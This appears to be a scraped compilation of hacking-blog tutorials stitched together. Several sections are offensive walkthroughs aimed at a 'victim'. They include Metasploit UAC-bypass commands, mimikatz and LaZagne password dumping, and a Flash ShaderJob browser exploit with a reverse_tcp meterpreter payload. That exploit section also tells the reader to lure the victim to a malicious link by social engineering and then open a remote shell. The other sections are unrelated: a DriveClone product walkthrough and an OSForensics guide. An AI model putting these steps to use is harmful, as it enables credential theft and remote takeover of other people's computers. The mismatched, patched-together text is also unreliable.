Hack the Password in Plain text of Remote Windows PC

First Hack the Victim PC Using Metasploit (Tutorial How to Hack Remote PC)

Once you had a remote shell with Metasploit all now use the Bypass UAC module, set the session number and exploit it

 use exploit/windows/local/bypassuac

msf exploit (bypassuac_injection)>set session 1

msf exploit (bypassuac_injection)>exploit

mimikatz is a tool I've made to learn C and make somes experiments with Windows security. It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory.

Now type load kiwiThen type, “creds_all“:

Hack Saved Password in Windows and Linux PC using LaZagne Project

The LaZagne project is an open source application used to retrieve lots of passwords stored on a local computer. Each software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). This tool has been developed for the purpose of finding these passwords for the most commonly-used software. At this moment, it supports 22 Programs on Microsoft Windows and 12 on a Linux/Unix-Like OS.

First download LaZagne project from here

Launch all modules type laZagne.exe all

Launch only a specific module

laZagne.exe browsers

How to Clone Drive for Forensics Purpose

DriveClone is a hard disk (HDD) & solid state drive (SSD) cloning and migration software. DriveClone is a time & money saver for server migration, raid upgrading, and system cloning

DriveClone automatically clones your entire machine, including system files, applications, preferences, emails, music, photos, movies, documents, and all partitions. But what makes DriveClone different from other disk cloning applications is that it not only clones all data on a system, it automatically defrags all files, removes junks, resizes partitions, and only clone the files that have been changed since last cloning.

Drive Clone Key Features

·         Keep new! An exact copy of Hard disk or SSD

·         Clone different sizes disks

·         Schedule incremental cloning new!

·         Near real-time MirrorDrive new!

·         Rapid cloning (2X faster) new!

·         Partition 4K aligned new!

·         Tools to fix boot issues & retain GUID new!

·         DriveClone data migration is in Windows

·         Allows user keep working during migration process

·         Cloned disk is immediately bootable

·         Volume and sector-by-sector cloning

·         Smart cloning unique saves up to 70GB by excluding temp and redundant files

·         Universal cloning unique allows booting on other machine

·         Turn your external hard drive into a Mirror Drive unique

·         Factory Recovery Partition Cloning unique

·         Keep up to 99 File Versions on Mirror Drive unique (MirrorDrive)

·         Defrag Cloning unique will increase life-span & performance

·         Directly convert a PC to VMware & Hyper-v virtual machines unique

·         Support SecureBoot, GPT, UEFI, and Dynamic Diskunique

·         Support all sizes (64GB/128GB/260GB/500GB/750GB/1TB/2TB/4TB or larger)

·         Support all drives (Seagate, WDC, Fujitsu, Hitachi, etc)

·         Raid to Hard disk/SSD cloning and migration; and vice versa

First Download DriveClone from here and install in your pc .Drive Clone Workstation is designed to completely copy all files, applications and Windows system from one Hard Drive/SSD/Flash to another Hard Drive/SSD/Flash. You can easily clone your Hard Drive/SSD/Flash to a different size SSD drive (smaller or bigger) for better performance. Drive Clone Workstation will automatically adjust and resize partitions during cloning process to reduce the process complications.

Start DriveClone Workstation.

Double click on One Time Cloning. Clone Drive/Partition(s) duplicates one hard drive or SSD to another hard drive or SSD, and it is immediately bootable. It eliminates the need of re-installing the operating system, drivers and applications when upgrading to a new hard drive or SSD with only a few mouse clicks.

Now Select a Source Disk/Partition and then a Destination Disk/Partition. Click on NEXT to Proceed   further.

It will Show the window popup. Click on YES to continue.

Now it will show two options i.e. Rapid Cloning and Normal Cloning. Check either Rapid Cloning or Normal Cloning and click on Next.

Select Start or Previous option. Previous option is used to modify the current settings. And Start option is used to proceed further.

Now it will show One- Time cloning process.

Now it will show the message cloning completed. Click on Finish.

Now select the target drive and it will show the contents of cloned drive.

Hack Remote Windows PC using Adobe Flash Player ShaderJob Buffer Overflow

This module exploits a buffer overflow vulnerability related to the ShaderJob workings on Adobe Flash Player. The vulnerability happens when trying to apply a Shader setting up the same Bitmap object as src and destination of the ShaderJob. Modifying the "width" attribute of the ShaderJob after starting the job it's possible to create a buffer overflow condition where the size of the destination buffer and the length of the copy are controlled. This module has been tested successfully on: Windows 7 SP1 (32-bit), IE11 and Adobe Flash 17.0.0.169, Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 17.0.0.169, Windows 8.1, Firefox 38.0.5 and Adobe Flash 17.0.0.169, and Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.457.

Exploit Targets

Windows 7

Firefox 38.0.5

Adobe Flash 17.0.0.169

Requirement

Attacker: kali Linux

Victim PC: Windows 7

Open Kali terminal type msfconsole

Now type use exploit/multi/windows/browser/adobe_flash_shader_job_overflow

msf exploit (adobe_flash_shader_job_overflow)>set payload windows/meterpreter/reverse_tcp

msf exploit (adobe_flash_shader_job_overflow)>set lhost 192.168.0.160 (IP of Local Host)

msf exploit (adobe_flash_shader_job_overflow)>set srvhost 192.168.0.160

msf exploit (adobe_flash_shader_job_overflow)>set uripath /

msf exploit (adobe_flash_shader_job_overflow)>exploit

Now an URL you should give to your victim http://192.168.0.160:8080

Send the link of the server to the victim via chat or email or any social engineering technique

Now when the victim opens the following link (http://192.168.0.160:8080) a session will be opened as shown below

Now type session –l to display sessions opened when the victim opens the link

Now the session has opened  type sysinfo to get system information, then type shell to enter into

Victims command prompt.

Forensics Investigation of Deleted Files in a Drive

First of all download the OSForensics from here.

Select Create Signature Option. Click on Config .

Now browse the desired Directory from Directory list management, in my case I am selecting Desktop.

 Click on Add to list Option to include the directory. Click OK.

Now in start folder option, it will show us the selected Drive i.e. c:\users\raj\desktop. Click on the Start Option.

 It will ask for the File Name, enter the File Name & click on Save. So signature for data drive will be created.

Now does some modification in data drive and repeat the same steps to create another signature after modifications in data drive.

Now click on Compare Signature Option.

Browse both files i.e. Old Signature as well as New Signature Option.

Click on Compare option .It will start the process. Now it will show us the files with their modification status as well as their creation and modification date. We can select show option to see only modified or deleted files.

Now it will show only deleted or modified files with their creation and deletion date.